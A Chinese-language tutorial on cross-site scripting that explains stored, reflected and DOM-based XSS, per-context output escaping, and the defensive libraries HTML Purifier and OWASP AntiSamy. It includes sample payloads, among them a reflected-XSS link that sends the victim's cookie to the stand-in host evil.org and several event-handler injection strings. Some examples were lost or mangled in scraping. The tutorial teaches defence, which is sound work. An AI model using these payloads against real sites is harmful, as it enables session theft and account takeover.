浅谈跨站脚本

什么是XSS?

跨站脚本(Cross-Site Scripting)简称XSS,是指攻击者在有安全缺陷的web页面中注入恶意的代码,通常大部分是javascript脚本,当普通用户浏览该网页时,嵌入其中的恶意脚本被执行。

有什么危害?

1、窃取Cookie,冒充其他用户操作
    2、读取、篡改、添加或删除敏感数据
    3、发送电子邮件
    4、网站钓鱼
    5、DDos攻击

有哪些类型?

粗粒度可以划分为3种类型:

1、存储型(持久型)

2、反射型(非持久型)

3、基于DOM型


例子3-1:存储型XSS样例
在论坛上发表帖子,假设论坛有漏洞,可以在帖子中注入下面的JS内容


当其他用户浏览该帖子时,就会弹出登录框,如图

浅谈跨站脚本_第1张图片


例子3-2:反射型XSS样例
假设一个可信网站http://www.trusted.com/example.jsp?param1=value1¶m2=
参数param2存在XSS注入,将param2的内容不加处理的输出到页面上。
攻击者设置

param2=


如下的超链接,www.trusted.com这个网站的已登录用户去点击,cookie会被发送到evil.org上去。

http://www.trusted.com/example.jsp?param1=value1¶m2=%3Cscript%3Edocument.write('%3Cimg%20src=%22http://evil.org?grabcookie.jsp?cookie='+encodeURI(document.cookie)+'%22/%3E')%3C/script%3E



例子3-3:基于DOM型XSS样例
相比较与Reflected、Stored XSS属于server side execution issues而言,DOM based XSS 是client(browser) side execution issue。
如下面请求的hash部分,由客户端JS动态执行产生XSS注入。
http://www.webapp.com/example.jsp?param1=value1#\u003ciframe οnlοad=alert('xss')\u003e

   

   

动态生成



常见的注入方式

1、HTML-Context
用户的输入直接输出到网页上。

用户输入内容

如:

解决办法:输出转义

需转义的字符
<
>
"
'
转义成
<
>
&guot;
'

安全输出:

<script>alert('xss');</script>


2、HTML-Attribute

用户输入内容" />

输入数据:/notfound.jpg" οnerrοr=alert(/xss/);//

得到输出:

这里通过闭合双引号,注入onerror事件属性。
解决办法:
对双引号括起来的内容,转义用户输入中的双引号。
对单引号括起来的内容,转义用户输入中的单引号。
安全输出:



3、 HTML URL Parameter Values

用户输入内容" target="_blank">Search

输入数据 http://www.webapp.com/search.jsp?key=" οnmοuseοver=alert(/xss/);//

得到输出:Search

解决办法:

对于URL值的转义,需要使用URL编码,这里不能使用上面例子中的"转义

Search


4、HTML Subcontext within the Execution Context


输入数据:

如果< >" '编码成< > " '

得到输出

<script>alert('XSS')</script>


但是危险还没有消除

输入: \x3cscript\x3ealert(\x27XSS\x27)\x3c/script\x3e

得到输出:

解决办法:可以先HTML Escape 再JavaScript Escape

document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

element.innerHTML="<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";



5、突破字符数量限制



6、FLASH注入XSS

地址" allowscriptaccess="always">

AllowScriptAccess参数,它可以用来控制是否允许执行来自swf本身对外脚本。

   always     都允许
   samedomain 只允许同域名下的
   never      都不允许

浅谈跨站脚本_第2张图片

上面我们抛砖引玉,举了几个简单的XSS注入样例,在实际的安全检测中,分析人员在会引用外部输入数据的地方尽可能尝试各种注入内容,通过闭合、编码、引用其他安全域数据进行渗透,所以千万不能掉以轻心哦!

开源的XSS防御产品

1、HTML Purifier

HTML Purifier是一个通过白名单方式来移除恶意代码(XSS),并确保你的页面遵循W3C的标准规范的PHP类库。适用于PHP编写web项目。
简单的使用

require_once '/path/to/HTMLPurifier.auto.php';


$config = HTMLPurifier_Config::createDefault();

$purifier = new HTMLPurifier($config);

$clean_html = $purifier->purify($dirty_html);



产品主页:http://htmlpurifier.org/

2、OWASP AntiSamy Project

提供用于验证用户输入的富文本以防御跨站脚本的API。适用于java编写web项目。它提供了一些标准策略文件,根据自己产品的实际需求,在此基础上配置一份适合自己产品的策略文件。
   antisamy-tinymce-X.X.X.xml
   antisamy-slashdot-X.X.X.xml
   antisamy-ebay-X.X.X.xml
   antisamy-myspace-X.X.X.xml
   antisamy-anythinggoes-X.X.X.xml

简单的使用

import org.owasp.validator.html.*;


Policy policy = Policy.getInstance(POLICY_FILE_LOCATION);

AntiSamy as = new AntiSamy();

CleanResults cr = as.scan(dirtyInput, policy);

产品主页:https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project

你可能感兴趣的:(浅谈跨站脚本)